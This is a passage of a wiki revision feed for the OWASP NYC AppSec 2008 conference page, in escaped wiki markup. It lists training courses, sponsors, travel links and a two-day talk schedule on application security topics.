Instructor: This tutorial is provided by longtime OWASP contributor: [http://www.aspectsecurity.com http://www.owasp.org/images/d/d1/Aspect_logo.gif]'''&lt;br /&gt;
 |-&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T5. Leading the Development of Secure Applications 1-Day - Sept 22nd- $675&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; |  In this one-day management session you’ll get the answers to the ten key questions that most CIOs and development managers face when trying to improve security in the development process.  The course provides proven techniques and valuable lessons learned that can be applied to projects at any phase of their application’s lifecycle. [[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
Instructor: This tutorial is provided by longtime OWASP contributor: [http://www.aspectsecurity.com http://www.owasp.org/images/d/d1/Aspect_logo.gif]'''&lt;br /&gt;
 |-&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T7. Encryption Programming Using SKSML - 2-Days - $1350&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; |  Application developers are increasingly required to protect sensitive data through encryption.  While there are many libraries that can assist with cryptography, there are few to none that focus on encryption key management.&lt;br /&gt;
&lt;br /&gt;
This class will introduce you to an OASIS standards protocol - Symmetric Key Services Markup Language (SKSML) - and show you how it can be used to securely encrypt sensitive data and manage encryption keys across the enterprise. [[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
&lt;br /&gt;
Instructor: Arshad Noor, CTO, StrongAuth Inc.''' [http://www.strongauth.com https://www.owasp.org/images/8/86/StrongAuth.jpg]&lt;br /&gt;
|-&lt;br /&gt;
 {| style=&amp;quot;width:80%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T8. Writing Secure Code  ASP.NET - 2-Days - $1350&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; | Understand the key security features of the .NET platform, the common web security pitfalls developers make, and how to build secure and reliable web applications using ASP.NET. Students are lead through hands on code examples that highlight issues and prescribe solutions. [[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
&lt;br /&gt;
The instructors are Foundstone's Technical Director, Rudolph Araujo and Foundstone's Professional Services Conlultant, Alex Smolen. [http://www.foundstone.com/us/education-overview.asp https://www.owasp.org/images/2/26/Foundstone.jpg]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;center&amp;gt;[http://guest.cvent.com/i.aspx?4W,M3,828ca6d1-1b60-4105-8034-d344700e6956 https://www.owasp.org/images/7/7f/Register.gif]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt; HOTELS / TRAVEL &amp;lt;/h2&amp;gt;&lt;br /&gt;
[http://maps.google.com/maps?near=Pace+Plz,+New+York,+NY+10038+(Pace+University+New+York+Cmps)&amp;amp;geocode=15467452012610799558,40.711640,-74.005820&amp;amp;q=hotel&amp;amp;f=l&amp;amp;dq=Pace+University-New+York&amp;amp;ie=UTF8&amp;amp;z=15&amp;amp;om=0 Hotels in the area of the event]&lt;br /&gt;
&lt;br /&gt;
New York City MTA: http://www.mta.nyc.ny.us/nyct/index.html&lt;br /&gt;
&lt;br /&gt;
New York City Subway &amp;amp; walking directions: http://www.hopstop.com/?city=newyork&lt;br /&gt;
&lt;br /&gt;
New York Sights &amp;amp; Sounds - SightsSounds&lt;br /&gt;
&lt;br /&gt;
New York City Travel Guide - http://www.nytoday.com/&lt;br /&gt;
&lt;br /&gt;
New York City Attractions - http://www.nycvisit.com&lt;br /&gt;
&lt;br /&gt;
New York TV Show Tickets - Get free tickets to TV shows! - http://www.nytix.com/&lt;br /&gt;
&lt;br /&gt;
New York City local news: http://www.ny1news.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;EVENT SPONSORSHIP &amp;lt;/h2&amp;gt;The OWASP Conferences &amp;amp; Training security technologists including CSOs,admins, application admins, MIS directors, homeland defense chiefs. These important influencers drive buying decisions exclusive access to its audiences. OWASP has established strategic relationships with security—print publications, newsletters, portals, consultants,message—and leadership positioning OWASP events. OWASP’s mission is supported by organizations who share our application, and software security communities. This approach should be part of your mix.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;[https://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf Sponsorship Opportunities]- Register online: [http://guest.cvent.com/i.aspx?4W,M3,09e3b490-ba93-4474-851e-be803b1a01c2 click here]&amp;lt;/b&amp;gt;&lt;/div&gt;</summary>
		<author><name>TomRyan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_NYC_AppSec_2008_Conference&amp;diff=33785</id>
		<title>OWASP NYC AppSec 2008 Conference</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_NYC_AppSec_2008_Conference&amp;diff=33785"/>
				<updated>2008-07-09T19:23:00Z</updated>
		
		<summary type="html">&lt;p&gt;TomRyan: /* 2008 OWASP USA, NYC Conference Schedule – Sept 24th - Sept 25th */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= 2008 OWASP USA, NYC =&lt;br /&gt;
Last Update: {{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[http://guest.cvent.com/i.aspx?4W,M3,828ca6d1-1b60-4105-8034-d344700e6956 http://www.owasp.org/images/6/61/Banner2_irfan.jpg]&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;[http://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf Diamond Sponsor] 1/1 - [http://www.imperva.com http://www.owasp.org/images/d/de/Imperva_2color_RGB.jpg]&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;[https://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf Platinum Sponsor] 2/3 - [http://www.whitehatsec.com http://www.owasp.org/images/archive/4/4d/20080703021901%21Whitehat.gif] - [http://www.cenzic.com/ https://www.owasp.org/images/b/bf/CenzicLogo_RGB.gif]  -  [http://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf http://www.owasp.org/images/f/f8/Sponsorsm.gif] &amp;lt;/center&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf Gold, Silver &amp;amp; Other Sponsors] - [http://www.isc2.org http://www.owasp.org/images/4/45/Isc2logo.gif] - [http://www.f5.com http://www.owasp.org/images/7/7e/50px-F5_50px.jpg] - [http://www.aspectsecurity.com http://www.owasp.org/images/d/d1/Aspect_logo.gif] - [http://www.foundstone.com/us/education-overview.asp http://www.owasp.org/images/2/26/Foundstone.jpg] - [http://www.proactiverisk.com https://www.owasp.org/images/9/97/Proactiverisk_logo.jpg] - [http://www.ouncelabs.com https://www.owasp.org/images/6/6e/OunceLabs_logo.jpg] - [http://www.fortify.com https://www.owasp.org/images/a/ac/Fortify.jpg] - [http://www.cigital.com/ https://www.owasp.org/images/b/be/Cigital_OWASP.GIF] - [http://www.accessitgroup.com https://www.owasp.org/images/6/6d/Accessit.JPG] - [http://evangelyze.net/marketing.asp https://www.owasp.org/images/1/10/Evlogo.jpg] - [http://www.arctecgroup.net http://www.owasp.org/images/b/bf/Arctec.jpg] - [http://www.airtightnetworks.net https://www.owasp.org/images/8/8b/Airtight.gif] - [http://www.securityuniversity.net/ https://www.owasp.org/images/0/0d/Security_university.jpg] - [http://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf http://www.owasp.org/images/f/f8/Sponsorsm.gif]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;[https://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf Sponsorship Opportunities] -- [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference-PRESS Press Registration] -- [http://www.owasp.org/index.php/Member_Offers Other OWASP Member Offers] &amp;lt;/center&amp;gt; &lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
In association with: [http://www.webappsec.org WASC], [http://www.nym-infragard.us NYM InfraGard], [http://aitglobal.com AITGlobal], [http://nyphp.org/index.php NYC PHP], [http://www.nycbug.org NYCBUG], [http://www.isacany.net ISACA], [http://www.issa.org ISSA] and [http://www.pace.edu Pace University] you're invited to (2) days of Seminars and Technology Pavilion from the world's best application security technology minds, (2) days of hardcore hands-on training, all held at &amp;lt;b&amp;gt;[http://www.pace.edu/page.cfm?doc_id=16157 Pace University]&amp;lt;/b&amp;gt;, located in downtown New York City at &amp;lt;b&amp;gt;One Pace Plaza New York, NY 10038.&amp;lt;/b&amp;gt; Event Fees: $350 Members / $400 Non-Members / $200 for Students for [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference#OWASP_NYC_AppSec_2008_Training_Courses_-_September_22nd_and_23rd.2C_2008 2 days of hands on training classes] are also available.&lt;br /&gt;
&amp;lt;center&amp;gt;[http://guest.cvent.com/i.aspx?4W,M3,828ca6d1-1b60-4105-8034-d344700e6956 http://www.owasp.org/images/7/7f/Register.gif]&lt;br /&gt;
To Get more involved and discuss this upcoming event [http://owaspfoundation.ning.com click here for forums] or visit other OWASP [http://www.owasp.org/index.php/Member_Offers member offers]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2008 OWASP USA, NYC Conference Schedule – Sept 24th - Sept 25th ==&lt;br /&gt;
&amp;lt;center&amp;gt;[http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference/speakeragreement OWASP Speaker Agreement]&amp;lt;/center&amp;gt;&lt;br /&gt;
{| style=&amp;quot;width:80%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;4&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | Day 1 – Sept 24th, 2008 &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | || style=&amp;quot;width:30%; background:#BC857A&amp;quot; | Track 1: &lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; | Track 2: &lt;br /&gt;
 | style=&amp;quot;width:30%; background:#99FF99&amp;quot; | Track 3: &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 07:30-10:00 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot; | '''Doors Open for Attendee/Speaker Registration &amp;amp; [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference#Technology_Pavilion_-_September_24th_and_25th Exhibit/Sponsor Area]'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 09:00-09:45 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | OWASP Version 3.0 who we are, where we are.. where we are going &lt;br /&gt;
''[http://www.owasp.org/index.php/Contact OWASP Foundation]: Jeff Williams, Dinis Cruz, Dave Wichers, Tom Brennan, Sebastien Deleersnyder, Paolo Perego, Kate Hartmann &amp;amp; Alison Shrader  &lt;br /&gt;
'' &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 10:00-10:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; |  [http://www.owasp.org/index.php/AppSecEU08_Trends_in_Web_Hacking_Incidents:_What%27s_hot_for_2008 Analysis of the Web Hacking Incidents Database (WHID)]&lt;br /&gt;
''[http://blog.shezaf.com Ofer Shezaf]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.webappsecroadmap.com Web Application Security Road Map]  &amp;lt;br&amp;gt;&lt;br /&gt;
''[http://joesecurity.blogspot.com Joe White]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; |[https://buildsecurityin.us-cert.gov/swa/acqwg.html Enhancing the software acquisition process to address software assurance issues.]&lt;br /&gt;
''Stan Wisseman''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 11:00-11:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Web Security Education using Open Source Tools&lt;br /&gt;
''Prof. Li-Chiou Chen &amp;amp; Chienitng Lin, [http://www.pace.edu/page.cfm?doc_id=16399 Pace Univ]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Http Bot Research&lt;br /&gt;
''[http://www.shadowserver.org/wiki/pmwiki.php?n=Shadowserver.Mission Andre M. DiMino - ShadowServer Foundation]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | MalSpam Research &lt;br /&gt;
'' [http://www.knujon.com/bios.html Garth Bruen]''&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 12:00-13:00 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; |  [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference/ctf Capture the Flag] Sign-Up&lt;br /&gt;
''LUNCH - Provided by event sponsors @ TechExpo''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 12:00-12:30 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | e-Gateway&lt;br /&gt;
''[http://www.linkedin.com/in/tommyryan Tom Ryan]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Framework-level Threat Analysis: Adding Science to the Art of Source-code review&lt;br /&gt;
''Nishchal Bhalla''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | Automated Web-based Malware Behavioral Analysis &lt;br /&gt;
'' Tyler Hudak''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 13:00-13:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Offensive Assessing Financial Applications&lt;br /&gt;
'' [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference-daniel-cuthbert Daniel Cuthbert]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | WAF ModSecurity&lt;br /&gt;
''[http://www.thinkingstone.com/about/ivan-ristic.html Ivan Ristic]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | OWASP &amp;amp; NYC&lt;br /&gt;
''[http://www.linkedin.com/in/davidstern2000 David Stern]''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 14:00-14:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Logic Attacks and Inefficiencies of Robotic Detection&lt;br /&gt;
''[http://ha.ckers.org/blog/about Robert &amp;quot;RSnake&amp;quot; Hansen], CEO SecTheory''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Reverse Engineering .NET &lt;br /&gt;
''Adam Boulton''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | JBroFuzz 0.1 - 1.1: Building a Java Fuzzer for the Web &lt;br /&gt;
''[http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference-SPEAKER-Yiannis_Pavlosoglou Yiannis Pavlosoglou]''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 15:00-15:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; |Industry Panel w/ Jennifer Bayuk CISO Bear Stearns, Mark Clancy EVP CitiGroup, Jim Routh CISO DTCC, Sunil Seshadri CISO NYSE-Euronet, Warren Axelrod SVP Bank of America, Joe Bernik Royal Bank of Scotland &amp;amp; Philip Venables CIRO, Goldman, Sachs&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Wild_Wild_Web_on_Security_Planet Wild Wild Web on Security Planet]&lt;br /&gt;
''[http://www.expresscertifications.com/company/execmgt.aspx Mano Paul] CEO Express Certifications''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; |[http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference-SPEAKER-GunterOllmann Multidisciplinary Bank Attacks]&lt;br /&gt;
''Gunter Ollmann''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 16:00-16:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | OWASP Enterprise Security API [http://www.owasp.org/index.php/ESAPI (ESAPI) Project]&lt;br /&gt;
'' [http://www.aspectsecurity.com/management.htm Jeff Williams] &amp;amp; Jim Manico''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Shootout @ Blackbox Corral&lt;br /&gt;
''Larry Suto ''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | 80% 10% 10%&lt;br /&gt;
'' [http://www.blogger.com/profile/07177656204885181542 Andy Steingruebl], Security @ PayPal''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 17:00-17:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Threading the Needle:&lt;br /&gt;
&lt;br /&gt;
Bypassing web application/service security controls using Encoding, Transcoding, Filter Evasion, and other Canonicalization Attacks&lt;br /&gt;
'' [http://www.linkedin.com/in/arianevans Arian Evans]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; |Shhhh Don’t Tell Anybody &lt;br /&gt;
''[http://www.linkedin.com/in/ppetkov Petko D. Petkov]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference-SPEAKER-Andres_Riancho W3AF Open Source App Scanner]&lt;br /&gt;
''Andres Riancho''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 18:00-18:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project OWASP Live CD]&lt;br /&gt;
'' [http://www.linkedin.com/in/packetfocus Joshua Perrymon]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Coding Secure w/PHP&lt;br /&gt;
''[http://www.linkedin.com/in/zaunere Hans Zaunere]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Payment_Card_Data_Security_and_the_new_Enterprise_Java Payment Card Data Security and the new Enterprise Java]&lt;br /&gt;
''Dr. B. V. Kumar &amp;amp; Mr. Abhay Bhargav''&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 20:00-23:00 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot; | OWASP NYC AppSec 2008 VIP Party&lt;br /&gt;
''Location: TBD''&lt;br /&gt;
|-&lt;br /&gt;
! colspan=&amp;quot;10&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | Day 2 – Sept 25th, 2008 &lt;br /&gt;
|-&lt;br /&gt;
  | style=&amp;quot;width:10%; background:#99FF99&amp;quot; | 08:00-10:00 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; |  BREAKFAST - Provided by event sponsors @ TechExpo&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 08:00-08:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | State of the Union&lt;br /&gt;
''[http://www.aeispeakers.com/speakerbio.php?SpeakerID=1192 Prof. Howard A. Schmidt, CISSP, CISM (Hon.)] Current (ISC)² Security Strategist and Former White House Cyber Security Advisor''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Best Practices Guide: Web Application Firewalls&lt;br /&gt;
''Dr. Georg Hess''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | The Good The Bad and The Ugly - Pen Testing VS. Source Code Analysis&lt;br /&gt;
''[www.linkedin.com/in/tommyryan Thomas Ryan]''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 09:00-09:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Good vs. Evil JavaScript&lt;br /&gt;
''[http://jeremiahgrossman.blogspot.com Jeremiah Grossman]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | OWASP V2 Testing Guide 4.2.3 Spidering and Googling in depth &lt;br /&gt;
''[http://www.linkedin.com/in/ChristianHeinrich Christian Heinrich]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | OWASP Web Services Top Ten&lt;br /&gt;
''[http://1raindrop.typepad.com Gunnar Peterson]''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 10:00-10:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | OWASP Update &lt;br /&gt;
''Dinis Cruz/Jeff Williams + Surprise Guest''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Help Wanted 7 Things You Need to Know APPSEC/INFOSEC Employment&lt;br /&gt;
''[http://www.linkedin.com/pub/0/29/685 Lee Kushner]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | APPSEC Industry Analysts&lt;br /&gt;
''Speaker TBD''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 11:00-11:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Category:OWASP_CLASP_Project CLASP (Comprehensive, Lightweight Application Security Process)]&lt;br /&gt;
''Pravir Chandra''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Next Generation Cross Site Scripting Worms &lt;br /&gt;
''[http://i8jesus.com/?page_id=5 Arshan Dabirsiaghi]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | Secure Software Impact&lt;br /&gt;
''[http://ouncelabs.com/company/team.asp Jack Danahy]''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 12:00-12:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Security in Agile Development&lt;br /&gt;
''[http://www.owasp.org/index.php/User:Wichers Dave Wichers]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Security of Software-as-a-Service (SaaS)&lt;br /&gt;
''[http://www.linkedin.com/pub/6/372/45a James Landis]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | [http://reversebenchmarking.com/About.html Open Reverse Benchmarking Project]&lt;br /&gt;
''Marce Luck &amp;amp; [http://www.linkedin.com/pub/1/507/616 Tom Stracener]''&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 12:00-13:00 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference/ctf Capture the Flag] Status&lt;br /&gt;
''LUNCH - Provided @ TechExpo''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 13:00-13:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Security Research Report&lt;br /&gt;
''[http://www.linkedin.com/pub/5/742/233 Dinis Cruz]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Category:OWASP_Pantera_Web_Assessment_Studio_Project Pantera Advances]&lt;br /&gt;
''[http://www.linkedin.com/pub/1/598/855 Simon Roses Femerling]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | Lotus Notes Insecurity &lt;br /&gt;
''Jian Hui Wang''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 14:00-14:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Practical Advanced Threat Modeling&lt;br /&gt;
''John Steven''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project Owasp Orizon]&lt;br /&gt;
''Paolo Perego''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | Building Usable Security&lt;br /&gt;
''Zed Abbadi''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 15:00-15:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Input_validation:_the_Good%2C_the_Bad_and_the_Ugly Input validation: the Good, the Bad and the Ugly]&lt;br /&gt;
''Johan Peeters''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Off-shoring Application Development? Security is Still Your Problem&lt;br /&gt;
''Rohyt Belani''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | NIST SAMATE Static Analysis Tool Exposition (SATE)&lt;br /&gt;
''Vadim Okun''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 16:00-16:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Vulnerabilities in application interpreters and runtimes&lt;br /&gt;
''Erik Cabetas''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Flash Parameter Injection (FPI)&lt;br /&gt;
''Ayal Yogev &amp;amp; Adi Sharabani''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | Cross-Site Scripting Filter Evasion&lt;br /&gt;
''Alexios Fakos''&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 17:00-17:45 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot; |  '''Wizdom of Crowds / CTF Awards &amp;amp; Raffles'''&lt;br /&gt;
|-&lt;br /&gt;
  | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 18:30-19:30 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot; | OWASP Foundation, Chapter Leader Meeting&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
